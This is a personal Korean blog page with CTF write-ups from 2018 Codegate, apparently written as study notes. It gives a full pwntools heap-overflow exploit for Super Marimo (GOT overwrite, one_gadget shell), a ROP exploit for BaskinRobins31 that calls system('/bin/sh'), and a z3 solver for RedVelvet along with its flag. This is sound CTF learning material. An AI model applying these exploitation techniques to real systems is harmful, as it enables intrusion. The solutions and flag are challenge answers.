HanJeouk의 개인공부 블로그

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

2018 Codegate Super Marimo

CTF2018. 2. 6. 02:04

문제를 풀기 전에 먼저 보호기법을 보자

취약점은 modify 함수 부분에서 발생한다.

이게 modify 함수인데 보면 time 함수와 다른 값들을 연산하여 size라는 변수에다 넣은 다음에 나중에 INPUT 함수를 이용하여 32*size 만큼을 입력받는다. 그렇게 되면 다른 청크의 값을 변조하는 게 가능해진다. 

만약에 내가 "show me the marimo"를 치고 name이 AAAA고 profile이 BBBB인 것과 name이 aaaa고 profile이 bbbb인 것을 만들었을 때의 힙 상황이다.

내가 name이 AAAA고 profile이 BBBB인 marimo의 profile 값을 modify를 이용하여 profile의 내용을 원래 사이즈보다 많이 넣어서 다음 marimo의 데이터를 수정한다면 어떻게 될까?

릭은 물론이고 이를 이용하여 쉘을 딸 수도 있을 것이다.

그래서 나는 공격을 위해 malloc_got를 두 번째 marimo name주소를 malloc_got로 덮어서 malloc 함수의 주소를 구한 다음에 base와 one_shot 주소를 구했다.

이제 다시 첫 번째 marimo를 릭할 때 했던 것처럼 profile 값을 modify를 이용하여 두 번째 marimo의 name과 profile를 puts_got로 덮었다.


이제 두 번째 marimo의 profile를 modify한다고 하면 profile에 있는 주소는 이미 puts_got로 조작 돼었기 때문에 거기에 one_shot을 넣어주면 쉘이 따지게 된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import*
= process("./marimo")
#p = remote('ch41l3ng3s.codegate.kr',3333)
elf = ELF("./marimo")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
malloc_plt=elf.plt["malloc"]
malloc_got=elf.got["malloc"]
def make(name,profile):
        p.sendlineafter(">> ","show me the marimo")
        p.sendlineafter(">> ",name)
        p.sendlineafter(">> ",profile)
    
def view(index):
        p.sendlineafter(">> ","V")
        p.sendlineafter(">> ",str(index))    
 
 
make("AAAA","BBBB")
make("aaaa","bbbb")
 
p.sendlineafter(">> ","V")
print p.recv(1024)
sleep(3)
p.sendline("0")
print p.recv(1024)
sleep(3)
p.sendline("M")
 
payload = "A"*40
payload += p64(0x21)
payload += p64(0xffffff)
payload += p64(malloc_got)
p.sendlineafter(">> ",payload)
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.recvuntil("name : ")
malloc_add = u64(p.recv(6)+"\x00\x00")
base = malloc_add -0x84130
one_shot = base + 0x45216
print "malloc: " + hex(malloc_add)
print "base: " + hex(base)
print "one_shot : " + hex(one_shot)
 
sleep(3)
 
payload = "B"*40
payload += p64(0x21)
payload += p64(0xfffffffe)
payload += p64(puts_got)
payload += p64(puts_got)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","0")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",payload)
 
p.sendlineafter(">> ","B")
p.sendlineafter(">> ","V")
p.sendlineafter(">> ","1")
p.sendlineafter(">> ","M")
p.sendlineafter(">> ",p64(one_shot))
 
p.interactive()
 
cs

puts나 malloc로 굳이 덮을 필요는 없다 자기가 편한 걸 쓰면 된다. 빨리 풀 수 있었는데 one_shot이 안 먹혀서 오래 걸렸다.

그래도 Write_up을 전혀 참고하지 않고 풀어서 뿌듯했다.

'CTF' 카테고리의 다른 글

2016 Boston Key Party CTF Cookbook  (0) 2018.02.27
Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate BaskinRobins31  (0) 2018.02.04
2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인


보호기법부터 체크하자!

메인함수를 보자!

재미있는 베스킨라빈스 게임이다. Hint is ROP? 어딘가 값을 크게 받는가보다.

어디서 받을까하고 찾아봤더니

your_turn 함수에서 s 사이즈보다 큰 400byte를 받는다. PIE와 Full RELRO도 걸리지 않았으니 bss 영역과 함수들의 plt got를 이용하여 ROP를 했다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*
#p = process(["./BaskinRobins31"],env={'LD_PRELPAD':'libc6_2.23-0ubuntu10_amd64.so'})
= remote("ch41l3ng3s.codegate.kr",3131)
elf = ELF("./BaskinRobins31")
rdi =  0x00400bc3 
rsi = 0x00400bc1 
rdx = 0x0040087c
read_plt = elf.plt["read"]
read_got = elf.got["read"]
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
bss = elf.bss()
binsh = "/bin/sh\x00"
 
 
payload = "A"*176
payload += "B"*8
payload += p64(rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64(bss)
payload += p64(bss)
payload += p64(rdx)
payload += p64(len(binsh)+1)
payload += p64(read_plt)
 
payload += p64(rdi)
payload += p64(0)
payload += p64(rsi)
payload += p64(read_got)
payload += p64(read_got)
payload += p64(rdx)
payload += p64(8)
payload += p64(read_plt)
 
payload += p64(rdi)
payload += p64(bss)
payload += p64(read_plt)
print p.recv(1024)
 
 
p.send(payload)
print p.recvuntil("Don't break the rules...:( \n")
leak = u64(p.recv(6)+"\x00\x00")
base = leak - 0x6f690
system = base+0x45390
print "1: "+hex(leak)
print "2: "+hex(base)
print "3: "+hex(system)
p.send(binsh)
p.send(p64(system))
p.interactive()
cs

풀 수 있는 문제들이 나와서 다행인 대회였다ㅎ.

'CTF' 카테고리의 다른 글

Bctf_2016 bcloud  (0) 2018.02.21
2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate RedVelvet  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25

2018 Codegate RedVelvet

CTF2018. 2. 4. 21:20



위에 보이는 func 함수들은 각각 연산을 하면서 값을 체크한다.

그래서 이 연산들을 해주기 위해 z3를 사용했다.

 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
from z3 import*
 
var = [BitVec('var[%d]' %i,16for i in range(0,26)]
 
 
 
= Solver()
 
s.add(var[0* *(var[1] ^ var[0]) - var[1== 10858)
 
s.add(var[0> 85)
 
s.add(var[0<= 95)
 
s.add(var[1> 96)
 
s.add(var[1<= 111)
 
 
 
s.add(var[1] % var[2== 7)
 
s.add(var[2> 90)
 
 
 
s.add(var[2]/var[3]+(var[3]^var[2]) == 21)
 
s.add(var[2]<=99)
 
s.add(var[3]<=119)
 
 
 
v2 = (var[4]^var[3]^var[4])
 
s.add((v2 % var[4])+var[3== 137)
 
s.add(var[3> 115)
 
s.add(var[4<= 99)
 
s.add(var[4== 95)
 
 
 
s.add(((var[5+ var[4]) ^ (var[4] ^ var[5] ^ var[4])) == 225)
 
s.add(var[4]>90)
 
s.add(var[5]<=89)
 
 
 
s.add(var[5]<=var[6])
 
s.add(var[6]<=var[7])
 
s.add(var[5]>85)
 
s.add(var[6]>110)
 
s.add(var[7]>115)
 
s.add((var[6]+var[7])^(var[5]+var[6]) == 44)
 
s.add((var[6]+var[7])%var[5]+var[6== 161)
 
 
 
s.add(var[7]>=var[8])
 
s.add(var[8]>=var[9])
 
s.add(var[7]<=119)
 
s.add(var[8]>90)
 
s.add(var[9]<=89)
 
s.add((var[7]+var[9])^(var[8]+var[9])==122)
 
s.add((var[7]+var[9])%var[8]+var[9== 101)
 
 
 
s.add(var[9]<=var[10])
 
s.add(var[10]<=var[11])
 
s.add(var[11]<=114)
 
s.add((var[9]+var[10])/var[11]*var[10]==97)
 
s.add((var[11]^(var[9]-var[10]))*var[10== -10088)
 
s.add(var[11]<=114)
 
 
 
s.add(var[11== var[12])
 
s.add(var[12]>=var[13])
 
s.add(var[13]<=99)
 
s.add(var[13]+var[11]*(var[13]-var[12])-var[11]== -1443)
 
 
 
s.add(var[13]>=var[14])
 
s.add(var[14]>=var[15])
 
s.add(var[14* (var[13+ var[15+ 1- var[15== 15514)
 
s.add(var[14]>90)
 
s.add(var[14]<=99)
 
 
 
s.add(var[16]>=var[15])
 
s.add(var[15]>=var[17])
 
s.add(var[16]>100)
 
s.add(var[16]<=104)
 
s.add(var[15]+(var[16]^(var[16]-var[17]))-var[17]==70)
 
s.add((var[16]+var[17])/var[15]+var[15== 68)
 
 
 
s.add(var[17]>=var[18])
 
s.add(var[18]>=var[19])
 
s.add(var[18]<=59)
 
s.add(var[19]<=44)
 
s.add(var[17+ (var[18] ^ (var[19+ var[18])) - var[19== 111)
 
s.add((var[18] ^ (var[18- var[19])) + var[18== 101)
 
 
 
s.add(var[19<= var[20])
 
s.add(var[20<= var[21])
 
s.add(var[19]>40)
 
s.add(var[20]>90)
 
s.add(var[21]<=109)
 
s.add(var[21+ (var[20] ^ (var[21+ var[19])) - var[19== 269)
 
s.add((var[21] ^ (var[20- var[19])) + var[20== 185)
 
 
 
s.add(var[21]>=var[23])
 
s.add(var[22]>=var[23])
 
s.add(var[22]<=99)
 
s.add(var[23]>90)
 
s.add(var[21+ (var[22] ^ (var[22+ var[21])) - var[23== 185)
 
 
 
s.add(var[24]>=var[25])
 
s.add(var[24]>=var[23])
 
s.add(var[25]>95)
 
s.add(var[24]<=109)
 
s.add(((var[24- var[23]) * var[24] ^ var[25]) - var[23== 1214)
 
s.add(((var[25- var[24]) * var[25] ^ var[23]) + var[24== -1034)
 
 
print s.check()
print s.model()
cs

이렇게 연산을 진행하면

이렇게 값이 나온다 이걸 이제 순서대로 문자로 바꿔주면

What_You_Wanna_Be?:)_l`_la 라고 나온다.

근데 이대로 넣으니까 인증이 안된다. 근데 `을 보고 la la가 아닐까? 생각해서 `를 a로 바꾸고 인증하니까 됐다.

z3는 처음 써봤는데 신기했다. 다음에는 angr도 써봐야겠다. 그리고 레드벨벳은 예쁘다.

FLAG: What_You_Wanna_Be?:)_la_la

'CTF' 카테고리의 다른 글

2018 Codegate Super Marimo  (6) 2018.02.06
2018 Codegate BaskinRobins31  (0) 2018.02.04
2017 acebear CTF easy_heap  (0) 2018.01.30
2017 codegate Babypwn  (2) 2018.01.25
2016 WITHcon Malloc  (0) 2018.01.22

보호되어 있는 글입니다.
내용을 보시려면 비밀번호를 입력하세요.

확인